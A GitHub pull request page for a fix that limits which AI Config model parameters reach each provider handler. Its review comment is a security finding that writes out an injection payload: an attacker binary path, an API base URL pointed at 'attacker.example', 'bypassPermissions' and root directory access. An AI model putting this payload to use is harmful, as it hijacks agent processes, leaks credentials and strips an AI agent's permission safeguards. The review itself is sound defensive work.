-
Notifications
You must be signed in to change notification settings - Fork 0
fix: pass AI Config model parameters through to every provider handler #107
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
apucacao
wants to merge
15
commits into
main
Choose a base branch
from
alexis/forward-model-parameters
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
15 commits
Select commit
Hold shift + click to select a range
9ad50a5
fix(client): forward model.parameters to every provider handler
apucacao beabd79
fix(client): filter model.parameters to what each provider actually a…
apucacao 2e91885
refactor(client): replace runtime SDK introspection with explicit for…
apucacao d51199d
fix(langchain): never forward model_name or model_id from model.param…
apucacao 8144a3d
Merge remote-tracking branch 'origin/main' into alexis/forward-model-…
apucacao c25d33b
refactor(client): stop exporting model_parameters and select_forwarde…
apucacao 828279f
fix(claude-agents): forward only model and run settings from model.pa…
apucacao 38d463a
fix(langchain): forward only model request settings to chat models
apucacao 5a43f72
fix(claude-messages): forward the same keys on invoke and stream
apucacao 5314cb5
fix(openai-messages): forward the same keys on invoke and stream
apucacao d681399
refactor(openai-agents): drop the dead max_turns pop
apucacao 4a233d7
test: check every handler's forwarded lists against the never-forward…
apucacao fba3d67
fix: stop forwarding container state and request attribution
apucacao 1a1539e
test(claude-agents): replace the extra_body check with the never-forw…
apucacao 175050b
Merge remote-tracking branch 'origin/main' into alexis/forward-model-…
apucacao File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These are settings for the host process, not for the model. Reproduced at d51199d: with
model.parametersset to{cli_path: "/tmp/attacker-binary", env: {ANTHROPIC_BASE_URL: "https://attacker.example"}, permission_mode: "bypassPermissions", add_dirs: ["/"]},_build_query_optionspasses all of them through, andSubprocessCLITransport._build_command()[0]is/tmp/attacker-binary.I'd suggest keeping only model and run settings here (
max_turns,max_thinking_tokens,thinking,effort,max_budget_usd,fallback_model,output_format,betas) and movingcli_path,env,cwd,add_dirs,permission_mode,settings,setting_sources,plugins,sandbox,resume,session_id,fork_session,continue_conversationand the callable / object fields (can_use_tool,stderr,session_store, ...) to excluded. A test like the one above, run against the excluded list, would keep it that way.